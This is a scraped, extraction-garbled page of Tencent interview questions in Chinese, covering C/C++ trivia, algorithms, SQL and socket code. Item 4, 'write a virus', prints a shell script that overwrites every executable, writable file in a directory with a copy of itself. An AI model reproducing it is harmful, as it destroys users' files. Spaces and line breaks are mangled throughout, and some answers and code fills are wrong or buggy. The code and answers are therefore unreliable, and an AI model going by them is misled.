腾讯面试题Word文档格式.docx
《腾讯面试题Word文档格式.docx》由会员分享,可在线阅读,更多相关《腾讯面试题Word文档格式.docx(17页珍藏版)》请在冰豆网上搜索。
__STD_VERSION__
C99为199901L
intline=__LINE__;
char*file=__FILE__;
cout<
<
"
filenameis"
<
file<
lineis"
line<
endl;
3.两个数相乘,小数点后位数没有限制,请写一个高精度算法
与大数相乘原理一样,只是调整小数点位置,即有效小数个数
算法提示:
输入stringa,stringb;
计算stringc=a*b;
返回c;
1.纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;
2,去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)
3,计算c=a*b;
(要么用java的BigInterger搞,要么自己用C++写高精度数乘法,超过百万位,用FFT,我就不细说,这都预先写过就别做了)
4,输出c,(注意在输出倒数第l个数时,输出一个小数点。
若是输出的数少于l个,就补0)
4.写一个病毒
#shellvirusII
forfilein*
do
iftest-f$file;
then
iftest-x$file;
iftest-w$file;
ifgrep-secho$file>
.mmm;
then
cp$0$file
fi;
done
rm.mmm-f
上面这个不对,没有传染性,寄生性……
5.不使用额外空间,将A,B两链表的元素交叉归并
6.structst{
inti;
shorts;
charc;
};
sizeof(structst);
//8
char*p1;
void*p2;
intp3;
charp4[10];
sizeof(p1...p4)=?
//4,4,4,10
5.让你在100000000个浮点数中找出最大的10000个,要求时间复杂度优。
最小堆
二分查找
快速排序
双向链表的删除结点
有A、B、C、D四个人,要在夜里过一座桥。
他们通过这座桥分别需要耗时1、2、5、10分钟
,只有一支手电,并且同时最多只能两个人一起过桥。
请问,如何安排,能够在17分钟内
这四个人都过桥?
CD->
AB2
ACD<
-B
1
A->
BCD
10
AB<
-CD
2
->
ABCD
基础题有15道选择和2道读程序填空。
选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;
读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案
附加题有几道没有看清楚。
有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。
。
15个选择题,60分
一个程序填空,40分
三道附加题60分
附加题考的是
不用第三个变量实现两个整形变量的交换
linux的子进程
操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否
书写strcpy()
时间两个小时,选择题15*4
然后是程序填空题10(2*5),30(10*3)
附加题用c++实现一个链地址hash。
程序填空题我就不说了,比较easy的说,值得一提的是选择题。
绝大部分考的是C++,我大致说下主要部分吧:
涉及程序执行压栈的:
1道
涉及容器和迭代器的:
4道
涉及虚拟函数以及dynamic_cast的3道
涉及参数传递的1道
简单的程序段落判断2道
涉及类的静态成员赋值的1道
剩下的是杂七杂八的。
不管怎么说,假如你把c++primer仔细阅读了一遍,基本上没问题。
考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁
闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这
种类型的题目。
程序填空的考了文件操作,以及数组移动等。
附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class
/*****************************Hash_table.h**********************************/
#ifndefHASH_TABLE_H
#defineHASH_TABLE_H
#include<
string>
usingnamespacestd;
structnode/*定义节点*/
{
node():
_next(NULL){}
string_value;
node*_next;
};
typedefnode*hash_node;
/*类型定义*/
constintMULT=31;
/*散列函数的参数*/
constintTABLE=10000;
/*数组的大小*/
classhash_table
public:
/*构造函数*/
hash_table(hash_node*table);
/*析构函数*/
~hash_table();
/*向hash_table插入元素*/
voidInsert(conststring&
word);
/*从hash_table中查找元素*/
intSearch(conststring&
private:
/*散列函数*/
unsignedinthash(conststring&
hash_node*_table;
#endif
/************************************end*************************************/
/*****************************hash_table.cpp***********************************/
#include"
hash_table.h"
iostream>
hash_table:
:
hash_table(hash_node*table)
_table=table;
}
~hash_table()
delete[]_table;
unsignedinthash_table:
hash(conststring&
word)
constchar*p=word.c_str();
unsignedinth=0;
for(;
p;
p++)/*hash_table的心脏*/
h=(h*MULT)%TABLE+(*p)%TABLE;
returnh;
/*插入函数*/
voidhash_table:
Insert(conststring&
/*得到对应的散列值*/
inth=hash(word);
/*对应节点为空,插入本节点*/
if(_table[h]==NULL)
hash_noden=newnode();
n->
_value=word;
_next=NULL;
_table[h]=n;
return;
/*如果节点不为空,连结在本节点为头节点的链表*/
for(hash_nodep=_table[h];
p!
=NULL;
p=p->
_next)
/*包含相同的值,直接返回*/
if(p->
_value==word)return;
/*发生冲突,处理冲突*/
_next=_table[h];
/*查询函数*/
inthash_table:
Search(conststring&
/*如果对应的节点为空,直接返回*/
return-1;
/*循环本节点,匹配对应的值,返回结果*/
_value==word)
return1;
/************************************end***********************************/
组装一下就ok了。
-----------------------------------------------------------------------------------------------------------------------------------
选择题(60)
c/c++oslinux方面的基础知识c的Sizeof函数有好几个!
程序填空(40)
1.(20)4空x5
不使用额外空间,将A,B两链表的元素交叉归并
2.(20)4空x5
MFC将树序列化转存在数组或链表中!
1,计算a^b<
2(运算符优先级问题)
(a)^(b<
2)
2根据先序中序求后序
3a[3][4]哪个不能表示a[1][1]:
*(&
a[0][0])*(*(a+1)+1)*(&
a[1]+1)*(&
a[0][0]+4)
4for(inti...)
for(intj...)
printf(i,j);
printf(j)
会出现什么问题
变量的作用域
5for(i=0;
i<
10;
++i,sum+=i);
的运行结果
sum1+2+...+10
610个数顺序插入查找二叉树,元素62的比较次数
710个数放入模10hash链表,最大长度是多少
8fun((exp1,exp2),(exp3,exp4,exp5))有几个实参
9希尔冒泡快速插入哪个平均速度最快
10二分查找是顺序存储链存储按value有序中的哪些
11顺序查找的平均时间
O(n)
12*p=NULL*p=newchar[100]sizeof(p)各为多少
44
13频繁的插入删除操作使用什么结构比较合适,链表还是数组
link
14enum的声明方式
enum{//..};
151-20的两个数把和告诉A,积告诉B,A说不知道是多少,B也说不知道,这时A说我知道了,B接着说我也知道了,问这两个数是多少
大题:
补空
1把字符串转换为小写,不成功返回NULL,成功返回新串
char*toLower(char*srcStr)
assert(srcStr!
=NULL);
intlen=strlen(srcStr);
chardstStr=newchar[len+1];
if(NULL==dstStr)
returnNULL;
char*sptr=srcStr;
char*dptr=dstStr;
while(*ptr!
='
\0'
)
if(*ptr>
A'
&
&
*ptr<
Z'
*dptr=*sptr-'
+'
a'
;
else
*dptr=*sptr;
sptr++;
dptr++;
*dptr='
returndstStr;
char*toLower(char*sSrcStr)
{
char*sDest=NULL;
if(__1___)//NULL!
=sSrcStr
intj;
sLen=strlen(sSrcStr);
sDest=new[_______2_____];
//sLen+1
if(*sDest==NULL)
sDest[sLen]='
while(_____3____)//(--sLen>
=0)
sDest[sLen]=toLowerChar(sSrcStr[sLen]);
}
returnsDest;
2把字符串转换为整数例如:
"
-123"
->
-123
main()
.....
if(*string=='
-'
)
n=____1______;
else
n=num(string);
intnum(char*string)
for(;
!
(*string==0);
string++)
intk;
k=__2_____;
j=--sLen;
while(__3__)
k=k*10;
num=num+k;
returnnum;
附加题:
1linux下调试core的命令,察看堆栈状态命令
/usr/proc/bin/lsstackcore
2写出socks套接字服务端客户端通讯程序
//client.c
intmain()
intsockfd,n;
charrecvline(MAXLINE+1];
structsockaddr_inservaddr;
if(socket(AF_INET,SOCK_STREAM,0)<
0)
exit(-1);
bzero(&
servaddr,sizeof(servaddr));
servaddr.sin_family=AF_INET;
inet_pton(AF_INET,"
202.120.37.167"
&
servaddr.sin_addr);
servaddr.sin_port=htons(13);
if(connect(sockfd,&
servaddr,sizeof(servaddr))<
while((n=read(socket,recvline,MAXLINE))>
//..
exit(0);
//server.c
intmain(intargc,char*argv[])
intlistenfd,connfd;
charbuff[MAXLINE];
listenfd=Socket(AF_INET,SOCK_STREAM,0);
bzeros(&
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
Bind(listenfd,(SA*)&
Listen(listenfd,LISTENQ);
for(;
;
connfd=Accept(listenfd,(SA*)NULL,NULL);
Write(connfd,buff,strlen(buff));
Close(connfd);
3填空补全程序,按照我的理解是添入:
win32调入dll的函数名
查找函数入口的函数名找到函数的调用形式
把formView加到singledoc的声明将singledoc加到app的声明
关于DLL请看>
>
4有关系s(sno,sname)c(cno,cname)sc(sno,cno,grade)
1问上课程"
db"
的学生no
selectsnofromscjoincon(o=o)wherecname='
db'
2成绩最高的学生号
selectsnofromscwheregrade=(selectMAX(grade)fromsc)
3每科大于90分的人数
selectCOUNT(sno)from(selectsno,MIN(grade)fromscgroupbysno)astmp(sno,min_grade)wheremin_grade>
90